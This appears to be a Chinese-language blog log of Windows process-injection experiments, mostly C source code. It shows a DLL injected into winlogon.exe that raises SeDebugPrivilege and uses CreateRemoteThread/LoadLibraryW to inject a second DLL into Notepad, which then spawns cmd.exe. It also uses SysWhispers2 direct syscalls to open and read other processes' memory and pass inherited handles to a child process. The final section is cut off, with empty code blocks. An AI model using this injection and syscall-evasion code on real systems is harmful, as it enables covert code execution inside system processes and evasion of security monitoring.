[toc]

一、将Dll注入到系统进程后加载Dll到其他进程中

1.编写Dll1.dll文件,注入到winlogon.exe

  1. dllmain1.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    //dllmain1.c
    #include <Windows.h>
    #include "Load1.h"

    HMODULE g_hDll = NULL;
    DWORD WINAPI UnloadThreadCallBack(PVOID param);
    DWORD WINAPI UnloadThread();

    // DLL 主函数
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
    LoadDll2();
    g_hDll = (HMODULE)hModule;
    break;
    }
    case DLL_THREAD_ATTACH:
    {
    break;
    }
    case DLL_THREAD_DETACH:
    {
    break;
    }
    case DLL_PROCESS_DETACH:
    {
    break;
    }
    default:
    break;
    }
    return TRUE;
    }

    DWORD WINAPI UnloadThread()
    {

    HANDLE hThread = CreateThread(NULL, 0, UnloadThreadCallBack, NULL, 0, NULL);
    CloseHandle(hThread);
    return 0;
    }

    DWORD WINAPI UnloadThreadCallBack(PVOID param)
    {
    FreeLibraryAndExitThread(g_hDll, 0);
    return 0;
    }
  2. Load1.h

    1
    2
    3
    4
    5
    6
    7
    8
    //Load1.h
    #pragma once
    #include <Windows.h>

    int LoadDll2();
    BOOL SeDebug(BOOL bEnablePrivilege);
    DWORD FindProcessPID(const wchar_t* ProcessName);
    BOOL Inject(DWORD dwProcessID, const WCHAR* szPath);
  3. Load1.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    //Load1.c
    #include <stdio.h>
    #include "Load1.h"
    #include <tlhelp32.h>

    int LoadDll2()
    {
    SeDebug(TRUE);
    DWORD dwPid = FindProcessPID(L"Notepad.exe");
    Inject(dwPid, L"C:\\Dll2.dll");
    return 0;
    }

    BOOL SeDebug(BOOL bEnablePrivilege)
    {
    HANDLE hCurrentToken = NULL;
    BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
    LUID luid;
    if (!LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid))
    {
    return FALSE;
    }
    TOKEN_PRIVILEGES PrivToken;
    PrivToken.PrivilegeCount = 1;
    PrivToken.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
    PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
    PrivToken.Privileges[0].Attributes = 0;

    if (!AdjustTokenPrivileges(
    hCurrentToken,
    FALSE,
    &PrivToken,
    sizeof(TOKEN_PRIVILEGES),
    (PTOKEN_PRIVILEGES)NULL,
    (PDWORD)NULL))
    {
    return FALSE;
    }

    return TRUE;
    }

    DWORD FindProcessPID(const wchar_t* ProcessName)
    {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32FirstW(snapshot, &process)) {
    do {
    if (!wcscmp((const wchar_t*)process.szExeFile, (const wchar_t*)ProcessName))
    break;
    } while (Process32NextW(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
    }

    BOOL Inject(DWORD dwProcessID, const WCHAR* szPath)
    {
    //LoadLibrary
    //CreateRemoteThread
    //1.打开目标进程获取句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
    //2.在目标进程体内申请空间
    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    //3.写入DLL路径
    SIZE_T sWriteLength = 0;
    BOOL bRet = WriteProcessMemory(hProcess, lpAddress, szPath, ((wcslen(szPath) + 1) * 2), &sWriteLength);
    if (bRet == FALSE)
    {
    MessageBoxW(NULL, L"WriteProcessMemory Failed!", L"Error", MB_OK);
    }
    //4.创建远程线程,执行回调
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryW, lpAddress, NULL, NULL);
    //5.等待远程线程执行结束(LoadLibrary返回了)
    WaitForSingleObject(hThread, INFINITE);
    //6.释放空间
    VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
    //7.释放句柄
    CloseHandle(hProcess);
    CloseHandle(hThread);
    //8.返回结果
    return TRUE;
    }

2. 编写Dll2.dll文件,Dll2.dll将被winlogon.exe加载到notepad.exe

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//dllmain2.c
#include <Windows.h>
int CreateNew();

// DLL 主函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
CreateNew();
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
default:
break;
}
return TRUE;
}
int CreateNew()
{
PROCESS_INFORMATION pi;
STARTUPINFOW si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.dwFlags = STARTF_USESHOWWINDOW;
CreateProcessW(L"c://windows//system32//cmd.exe", NULL, NULL, FALSE, NULL, NULL, NULL, NULL,
&si, &pi);
return 0;
}

二、利用重写的Nt函数与系统进程打开句柄与加载Dll

1.测试重写Nt函数读取notepad的数据

  1. 导入重写的函数
  2. 编写代码并运行

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <stdio.h>
#include "syscalls_all.h"

void ReadCode(DWORD dwProcId, LPVOID readAddr, LPVOID bufferAddr)
{
PHANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
// 设置要打开的进程 ID(例如,假设我们要打开进程 ID 为 1234 的进程)
clientId.UniqueProcess = (HANDLE)dwProcId; // 替换为实际的进程 ID
clientId.UniqueThread = NULL; // 线程 ID 可以为 NULL
// 初始化对象属性
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
// 打开进程
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status)
{
printf("Error NtOpenProcess 0x%X\n",status);

return 0;
}
printf("hProcess 0x%X\n", hProcess);
SIZE_T NumberOfByte;
status = NtReadVirtualMemory(hProcess, (PVOID)readAddr, (PVOID)bufferAddr, sizeof(size_t), &NumberOfByte);
if (status)
{
printf("Error Write 0x%lX\n", status);
goto labelCloseProcess;
}
labelCloseProcess:
NtClose(hProcess);
return;
}

int main()
{
DWORD Pid = 3232;
PVOID ReadAddr = 0x7FF717C04020;
SIZE_T readBuffer;
ReadCode(Pid, ReadAddr ,&readBuffer);
printf("ReadAddr: 0x%lX\n", readBuffer);
getchar();
return 0;
}

2.测试重写Nt函数读取数据并继承父进程打开的句柄

1.父进程程序main.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

#include <windows.h>
#include <stdio.h>
#include "syscalls_all.h"
#include <winternl.h>

void ReadCode(DWORD dwProcId, LPVOID readAddr, LPVOID bufferAddr)
{
NTSTATUS status;
PHANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
// 设置要打开的进程 ID(例如,假设我们要打开进程 ID 为 1234 的进程)
clientId.UniqueProcess = (HANDLE)dwProcId; // 替换为实际的进程 ID
clientId.UniqueThread = NULL; // 线程 ID 可以为 NULL
// 初始化对象属性
InitializeObjectAttributes(&objAttr, NULL, OBJ_INHERIT, NULL, NULL);
//打开进程
status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status)
{
printf("Error NtOpenProcess 0x%X\n", status);
return 0;
}
//hProcess=OpenProcess( PROCESS_ALL_ACCESS, TRUE, dwProcId);
printf("hProcess 0x%X\n", hProcess);
SIZE_T NumberOfByte;
status = NtReadVirtualMemory(hProcess, (PVOID)readAddr, (PVOID)bufferAddr, sizeof(size_t), &NumberOfByte);
if (status)
{
printf("Error Write 0x%lX\n", status);
goto labelCloseProcess;
}
labelCloseProcess:
//NtClose(hProcess);
return;
}
void NewProcess()
{
// 定义安全属性
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL; // 使用默认安全描述符
sa.bInheritHandle = TRUE; // 允许句柄继承

STARTUPINFO si;
PROCESS_INFORMATION pi;
// 初始化结构体
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 创建子进程
if (!CreateProcessA(
"Project1.exe", // 子进程的路径
NULL, // 命令行参数
&sa, // 进程句柄可继承
NULL, // 线程句柄不可继承
TRUE, // 继承句柄
0, // 默认创建标志
NULL, // 使用父进程的环境
NULL, // 使用父进程的当前目录
&si, // 指向STARTUPINFO结构的指针
&pi) // 指向PROCESS_INFORMATION结构的指针
) {
printf("P:CreateProcess failed (%d).\n", GetLastError());
return -1;
}

}
int main()
{
DWORD Pid = 7828;
PVOID ReadAddr = 0x7FF717C04020;
SIZE_T readBuffer;
ReadCode(Pid, ReadAddr ,&readBuffer);
printf("ReadAddr: 0x%lX\n", readBuffer);
NewProcess();
//system("pause");
return 0;
}

2.子进程程序Project1.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
#include "syscalls_all.h"
#include <conio.h>

void ReadCode(HANDLE hProcess, LPVOID readAddr, LPVOID bufferAddr)
{
printf("hProcess 0x%X\n", hProcess);
SIZE_T NumberOfByte;
NTSTATUS status = NtReadVirtualMemory((HANDLE)hProcess, (PVOID)readAddr, (PVOID)bufferAddr, sizeof(size_t), &NumberOfByte);
if (status)
{
printf("Error Read 0x%lX\n", status);
return;
}

}

int main()
{

printf("/******************Inherint Pragrma****************\\\n");
while (1)
{
getchar();
DWORD hProcess = 0;
printf("Input handle:");
scanf_s("%X", &hProcess);
size_t ReadAddr = 0x7FF717C04020;
//printf("Input addr:");
//scanf_s("%X", &ReadAddr);
SIZE_T readBuffer;
ReadCode((HANDLE)hProcess, ReadAddr, &readBuffer);
printf("ReadAddr: 0x%lX\n", readBuffer);
system("pause");
}
return 0;
}

3.解决二个Bug

  1. 第一个bug是头文件<winternl.h>写在``windows.h前面会失效。解决办法是写在windows.h`后面就行
  2. 第二个bug是头文件<winternl.h>syscalls_all.h有重复声明的结构体,解决办法是将syscalls_all.h里面的重复结构体注释掉而后将<winternl.h>包含在syscalls_all.h

3.将Dll注入到系统进程后打开其他进程句柄,传递给子进程(winlogon失败,calculator与explorer成功)

1.导入SysWhispers2库文件到项目中

2.编写Dll1.dll代码

Dllmain1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//dllmain.c
#include <Windows.h>
#include "Load1.h"

HMODULE g_hDll = NULL;
DWORD WINAPI UnloadThreadCallBack(PVOID param);
DWORD WINAPI UnloadThread();

// DLL 主函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//MessageBoxA(0,0,0,0);
Entry();
UnloadThread();
g_hDll = (HMODULE)hModule;
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
default:
break;
}
return TRUE;
}

DWORD WINAPI UnloadThread()
{

HANDLE hThread = CreateThread(NULL, 0, UnloadThreadCallBack, NULL, 0, NULL);
CloseHandle(hThread);
return 0;
}

DWORD WINAPI UnloadThreadCallBack(PVOID param)
{
FreeLibraryAndExitThread(g_hDll, 0);
return 0;
}

Load1.h

1
2
3
4
5
6
7
8
9
10
#pragma once
#include <Windows.h>

int Entry();
int startRead();
BOOL SeDebug(BOOL bEnablePrivilege);
DWORD FindProcessPID(const wchar_t* ProcessName);
BOOL ReadMemory(DWORD dwProcId, LPVOID readAddr, LPVOID bufferAddr);
void WriteText(const char* str);
int NewProcess();

Load1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
//Load1.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include "syscalls_all.h"
#include <winternl.h>
#include <tlhelp32.h>
char strLog[256];
int Entry()
{
SeDebug(TRUE);
startRead();
return 0;

}
int startRead()
{
DWORD dwPid = FindProcessPID(L"Notepad.exe");
snprintf(strLog, 256, "Pid is %d\n", dwPid);
putsLog(strLog);
PVOID ReadAddr = 0x7FF717C04020;
SIZE_T readBuffer;
ReadMemory(dwPid, ReadAddr, &readBuffer);

snprintf(strLog, 256, "ReadAddr: 0x%lX\n", readBuffer);
putsLog(strLog);
NewProcess();
//system("pause");
return 0;
}

BOOL SeDebug(BOOL bEnablePrivilege)
{
HANDLE hCurrentToken = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
LUID luid;
if (!LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid))
{
return FALSE;
}
TOKEN_PRIVILEGES PrivToken;
PrivToken.PrivilegeCount = 1;
PrivToken.Privileges[0].Luid = luid;
if (bEnablePrivilege)
PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
PrivToken.Privileges[0].Attributes = 0;

if (!AdjustTokenPrivileges(
hCurrentToken,
FALSE,
&PrivToken,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
return FALSE;
}

return TRUE;
}

DWORD FindProcessPID(const wchar_t* ProcessName)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W process = { 0 };
process.dwSize = sizeof(process);

if (Process32FirstW(snapshot, &process)) {
do {
if (!wcscmp((const wchar_t*)process.szExeFile, (const wchar_t*)ProcessName))
break;
} while (Process32NextW(snapshot, &process));
}

CloseHandle(snapshot);
snprintf(strLog, 256, "Process name is %ls\n", process.szExeFile);
putsLog(strLog);
return process.th32ProcessID;
}

BOOL ReadMemory(DWORD dwProcId, LPVOID readAddr, LPVOID bufferAddr)
{
char strLog[256];
NTSTATUS status;
PHANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
// 设置要打开的进程 ID(例如,假设我们要打开进程 ID 为 1234 的进程)
clientId.UniqueProcess = (HANDLE)dwProcId; // 替换为实际的进程 ID
clientId.UniqueThread = NULL; // 线程 ID 可以为 NULL
// 初始化对象属性
InitializeObjectAttributes(&objAttr, NULL, OBJ_INHERIT, NULL, NULL);
//打开进程
status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status)
{
snprintf(strLog,256,"Error NtOpenProcess 0x%X\n", status);
putsLog(strLog);
return 0;
}
//hProcess=OpenProcess( PROCESS_ALL_ACCESS, TRUE, dwProcId);
SIZE_T NumberOfByte;
status = NtReadVirtualMemory(hProcess, (PVOID)readAddr, (PVOID)bufferAddr, sizeof(size_t), &NumberOfByte);
if (status)
{
snprintf(strLog,256,"Error Read 0x%lX\n", status);
putsLog(strLog);
}
snprintf(strLog, 256, "hProcess 0x%X\n",hProcess);
putsLog(strLog);
//NtClose(hProcess);
return TRUE;
}

int putsLog(char*strLog)
{
static ULONG64 num = 0;
num++;
char* ntr[MAXCHAR];
snprintf(ntr, 256, "%lld.", num);
FILE* fp = NULL;
fopen_s(&fp,"D:\\handled.txt", "a+");
//fprintf(fp, strLog);
fputs(ntr, fp);
fputs(strLog, fp);
fclose(fp);
return 0;
}
int NewProcess()
{
// 定义安全属性
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL; // 使用默认安全描述符
sa.bInheritHandle = TRUE; // 允许句柄继承

STARTUPINFO si;
PROCESS_INFORMATION pi;
// 初始化结构体
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 创建子进程
if (!CreateProcessA(
"C:\\Project1.exe", // 子进程的路径
NULL, // 命令行参数
&sa, // 进程句柄可继承
NULL, // 线程句柄不可继承
TRUE, // 继承句柄
0, // 默认创建标志
NULL, // 使用父进程的环境
NULL, // 使用父进程的当前目录
&si, // 指向STARTUPINFO结构的指针
&pi) // 指向PROCESS_INFORMATION结构的指针
) {
snprintf(strLog,256,"P:CreateProcess failed (%d).\n", GetLastError());
putsLog(strLog);
return -1;
}

}

3.编写子进程程序main.exe

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
```



## 4.使用重写的Nt函数在notepad中加载Dll2后,利用notepad创建新的进程

dll1.dll注入到winlogon.exe中->Dll1.dll中将Dll2.dll注入到Notepad中->Dll2打开自身进程并创建新的进程继承句柄->新的进程利用继承的的句柄读数据。

### 1.导入文件到项目中

### 2.更改Dll1.dll代码

dll1.c

```c

Load1.h

1

Load1.c

3.保持Dll2.dll代码